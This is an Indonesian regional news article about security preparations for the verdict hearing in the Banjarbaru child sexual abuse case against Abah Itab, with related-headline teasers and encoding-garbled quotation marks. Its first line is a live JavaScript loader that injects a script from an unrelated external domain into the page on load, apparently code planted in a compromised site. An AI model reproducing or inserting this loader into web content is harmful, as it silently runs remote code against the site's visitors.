(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Terdakwa Abah Itab akan menghadapi sidang putusan atau vonis atas kasus pencabulan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/7) siang. Kejaksaan Negeri Banjarbaru bekerja sama dengan Polres Banjarbaru akan mengamankan jalan proses sidang nanti.
Kasi Pidum Kejaksaan Negeri Banjarbaru Ahmad Budi Mukhlis SH MH kepada Kanal Kalimantan mengatakan, ada sekitar 60 personil kepolisian didatangkan untuk mengamankan jalannya proses sidang tersebut.
“Untuk sementara 60 personil akan dikerahkan, nanti bisa ditambah sesuai dengan kebutuhan,†ujarnya,
Banyaknya anggota kepolisian yang didatangkan karena melihat situasi sidang-sidang sebelumnya, dimana selalu dipenuhi massa yang geram atas tindakan Abah Itab. Jelas saja pada kasusnya sendiri Abah Itab resmi menjadi tersangka setelah melakukan pencabulan terhadap korban-korbannya dengan mengatas namakan agama. Tidak tanggung-tanggung, korbannya sendiri bahkan masih anak di bawah umur.
Pada sidang pembacaan tuntutan, massa sekitar 50 orang itu berdatangan dan mengikuti jalannya proses sidang dari luar ruangan karena sidang tersebut digelar secara tertutup. Dalam pembacaan tuntutan saat itu, terdakwa Abah Itab dikenakan hukuman maksimal yaitu pidana penjara 15 tahun denda Rp 2 miliar subsider 6 bulan kurungan.
Wahyu (53) salah satu jamaah yang turut ikut dalam massa saat itu mengungkapkan keinginan mereka agar hukuman Abah Itab jangan sampai direndahkan alias semaksimal mungkin karena ini menyangkut anak di bawah umur.
“Meskipun hukumanya 15 tahun, masa depan anak tidak akan bisa dikembalikan. Jadi hukum semaksimal jangan direndahkan,†tegasnya saat itu.
Beberapa pekan kemudian, sidang dengan agenda pledoi pembelaan, massa kian beringas. Saat itu massa mulai membawa kertas yang bertulisan cercaan dan olok-olokan terhadap terdakwa. Segala iring-ringan teriakan hingga massa yang mengejar terdakwa saat akan dimasukan kembali ke mobil tahanan membuat situasi sidang semakin mencengkam.
Meski hingga saat ini tidak ada kontak fisik, hal itu dikhawatirkan dapat menggangu jalannya proses sidang. Dugaan adanya massa yang lebih banyak akan datang, penambahan personil dari Polisi dan internal Kejaksaan telah dipersiapkan.
“Semoga tetap aman dan kondusif. Saya meminta kepada massa nantinya apapun putusan dari majelis hakim tolong dihormati. Dari Kejaksaan sendiri akan mempelajari dulu isi putusannya†pungkas Ahmad Budi Mukhlis
Sidang putusan besok akan dipimpin Ketua Majelis Hakim Liliek didampingi dua hakim anggota Vivi Indrasusi S.SH, MH dan Achmad Faisal M SH MH. (rico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.